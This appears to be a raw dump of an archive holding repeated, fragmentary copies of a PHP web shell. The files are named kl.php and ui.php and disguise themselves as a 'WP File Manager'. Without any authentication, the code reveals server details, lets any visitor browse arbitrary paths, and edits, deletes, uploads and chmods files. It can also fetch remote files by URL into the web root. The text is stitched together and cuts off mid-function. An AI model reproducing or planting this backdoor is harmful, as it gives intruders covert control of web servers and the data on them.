"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]qÜd©Ë©Ëinfo@originworks.art/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]CO¹ò®Ë®Ëinfo@originworks.art/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = 